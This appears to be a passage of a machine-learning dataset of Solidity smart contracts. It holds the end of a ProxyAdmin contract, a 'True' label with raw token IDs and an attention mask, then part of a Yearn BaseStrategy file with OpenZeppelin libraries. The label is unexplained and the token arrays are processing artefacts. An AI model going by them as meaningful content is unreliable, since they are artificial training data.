* @param newAdmin Address to transfer proxy administration to.
*/
function changeProxyAdmin(AdminUpgradeabilityProxy proxy, address newAdmin) public onlyOwner {
proxy.changeAdmin(newAdmin);
}
/**
* @dev Upgrades a proxy to the newest implementation of a contract.
* @param proxy Proxy to be upgraded.
* @param implementation the address of the Implementation.
*/
function upgrade(AdminUpgradeabilityProxy proxy, address implementation) public onlyOwner {
proxy.upgradeTo(implementation);
}
/**
* @dev Upgrades a proxy to the newest implementation of a contract and forwards a function call to it.
* This is useful to initialize the proxied contract.
* @param proxy Proxy to be upgraded.
* @param implementation Address of the Implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeAndCall(AdminUpgradeabilityProxy proxy, address implementation, bytes memory data) payable public onlyOwner {
proxy.upgradeToAndCall.value(msg.value)(implementation, data);
}
} | True | [
101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1019,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
2516,
2219,
3085,
1008,
1030,
16475,
1996,
2219,
3085,
3206,
2038,
2019,
3954,
4769,
1010,
1998,
3640,
3937,
20104,
2491,
1008,
4972,
1010,
2023,
21934,
24759,
14144,
1996,
7375,
1997,
1000,
5310,
6656,
2015,
1000,
1012,
1008,
1008,
3120,
16770,
1024,
1013,
1013,
6315,
1012,
21025,
2705,
12083,
20330,
8663,
6528,
2102,
1012,
4012,
1013,
2330,
4371,
27877,
2378,
1013,
2330,
4371,
27877,
2378,
1011,
5024,
3012,
1013,
1058,
2475,
1012,
1015,
1012,
1017,
1013,
8311,
1013,
6095,
1013,
2219,
3085,
1012,
14017,
1008,
2023,
3206,
2003,
15826,
2182,
1998,
4096,
2013,
1996,
2434,
2000,
4468,
17783,
1999,
1996,
9227,
10471,
1008,
2043,
1996,
5310,
17589,
1037,
1062,
2891,
1011,
5622,
2497,
3206,
1006,
2008,
6671,
14547,
5320,
2023,
3206,
2000,
2022,
9227,
1998,
2794,
2000,
1996,
1008,
3857,
1013,
10471,
19622,
1007,
2004,
2092,
2004,
1996,
21161,
2219,
3085,
7375,
2013,
2019,
2330,
4371,
27877,
2378,
2544,
1012,
1008,
1013,
3206,
2330,
4371,
27877,
2378,
6279,
24170,
6499,
7962,
3085,
1063,
4769,
2797,
1035,
3954,
1025,
2724,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
25331,
3025,
12384,
2121,
1010,
4769,
25331,
2047,
12384,
2121,
1007,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
1996,
2219,
3085,
9570,
2953,
4520,
1996,
2434,
1036,
3954,
1036,
1997,
1996,
3206,
2000,
1996,
4604,
2121,
1008,
4070,
1012,
1008,
1013,
9570,
2953,
1006,
1007,
4722,
1063,
1035,
3954,
1027,
5796,
2290,
1012,
4604,
2121,
1025,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
4769,
1006,
1014,
1007,
1010,
1035,
3954,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2709,
1996,
4769,
1997,
1996,
3954,
1012,
1008,
1013,
3853,
3954,
1006,
1007,
2270,
3193,
5651,
1006,
4769,
1007,
1063,
2709,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
11618,
2065,
2170,
2011,
2151,
4070,
2060,
2084,
1996,
3954,
1012,
1008,
1013,
16913,
18095,
2069,
12384,
2121,
1006,
1007,
1063,
5478,
1006,
11163,
7962,
2121,
1006,
1007,
1007,
1025,
1035,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
2709,
2995,
2065,
1036,
5796,
2290,
1012,
4604,
2121,
1036,
2003,
1996,
3954,
1997,
1996,
3206,
1012,
1008,
1013,
3853,
11163,
7962,
2121,
1006,
1007,
2270,
3193,
5651,
1006,
22017,
2140,
1007,
1063,
2709,
5796,
2290,
1012,
4604,
2121,
1027,
1027,
1035,
3954,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
2128,
4115,
15549,
4095,
2491,
1997,
1996,
3206,
1012,
1008,
1030,
5060,
17738,
4609,
6129,
2000,
6095,
2097,
2681,
1996,
3206,
2302,
2019,
3954,
1012,
1008,
2009,
2097,
2025,
2022,
2825,
2000,
2655,
1996,
4972,
2007,
1996,
1036,
2069,
12384,
2121,
1036,
1008,
16913,
18095,
4902,
1012,
1008,
1013,
3853,
17738,
17457,
12384,
2545,
5605,
1006,
1007,
2270,
2069,
12384,
2121,
1063,
12495,
2102,
6095,
6494,
3619,
7512,
5596,
1006,
1035,
3954,
1010,
4769,
1006,
1014,
1007,
1007,
1025,
1035,
3954,
1027,
4769,
1006,
1014,
1007,
1025,
1065,
1013,
1008,
1008,
1008,
1030,
16475,
4473,
1996,
2783,
3954,
2000,
4651,
2491,
1997,
102
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
|
// SPDX-License-Identifier: AGPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
// Global Enums and Structs
struct StrategyParams {
uint256 performanceFee;
uint256 activation;
uint256 debtRatio;
uint256 minDebtPerHarvest;
uint256 maxDebtPerHarvest;
uint256 lastReport;
uint256 totalDebt;
uint256 totalGain;
uint256 totalLoss;
}
// Part: DssAutoLine
interface DssAutoLine {
function exec(bytes32 _ilk) external returns (uint256);
}
// Part: EACAggregatorProxy
interface EACAggregatorProxy {
function decimals() external view returns (uint8);
function latestAnswer() external view returns (int256);
}
// Part: GemLike
interface GemLike {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
}
// Part: JugLike
interface JugLike {
function drip(bytes32) external returns (uint256);
}
// Part: ManagerLike
interface ManagerLike {
function cdpCan(
address,
uint256,
address
) external view returns (uint256);
function ilks(uint256) external view returns (bytes32);
function owns(uint256) external view returns (address);
function urns(uint256) external view returns (address);
function vat() external view returns (address);
function open(bytes32, address) external returns (uint256);
function give(uint256, address) external;
function cdpAllow(
uint256,
address,
uint256
) external;
function urnAllow(address, uint256) external;
function frob(
uint256,
int256,
int256
) external;
function flux(
uint256,
address,
uint256
) external;
function move(
uint256,
address,
uint256
) external;
function exit(
address,
uint256,
address,
uint256
) external;
function quit(uint256, address) external;
function enter(address, uint256) external;
function shift(uint256, uint256) external;
}
// Part: OSMedianizer
interface OSMedianizer {
function read() external view returns (uint256, bool);
function foresight() external view returns (uint256, bool);
}
// Part: OpenZeppelin/[email protected]/Address
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: OpenZeppelin/[email protected]/IERC20
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: SpotLike
interface SpotLike {
struct Ilk {
address pip;
uint256 mat;
}
function ilks(bytes32) external view returns (Ilk memory);
}
// Part: Uni
interface Uni {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
// Part: VatLike
interface VatLike {
struct Ilk {
uint256 Art; // Total Normalised Debt [wad]
uint256 rate; // Accumulated Rates [ray]
uint256 spot; // Price with Safety Margin [ray]
uint256 line; // Debt Ceiling [rad]
uint256 dust; // Urn Debt Floor [rad]
}
struct Urn {
uint256 ink; // Locked Collateral [wad]
uint256 art; // Normalised Debt [wad]
}
function can(address, address) external view returns (uint256);
function ilks(bytes32)
external
view
returns (Ilk memory);
function dai(address) external view returns (uint256);
function urns(bytes32, address) external view returns (Urn memory);
function frob(
bytes32,
address,
address,
address,
int256,
int256
) external;
function hope(address) external;
function move(
address,
address,
uint256
) external;
}
// Part: yVault
interface yVault {
function deposit() external;
function deposit(uint256) external;
function withdraw() external;
function withdraw(uint256) external;
function withdraw(uint256, address, uint256) external;
function pricePerShare() external view returns (uint256);
}
// Part: DaiJoinLike
interface DaiJoinLike {
function vat() external returns (VatLike);
function dai() external returns (GemLike);
function join(address, uint256) external payable;
function exit(address, uint256) external;
}
// Part: GemJoinLike
interface GemJoinLike {
function dec() external returns (uint256);
function gem() external returns (GemLike);
function join(address, uint256) external payable;
function exit(address, uint256) external;
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function apiVersion() external pure returns (string memory);
function withdraw(uint256 shares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.3.2";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external virtual view returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external virtual view returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay = 0;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay = 86400; // ~ once a day
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor = 100;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold = 0;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
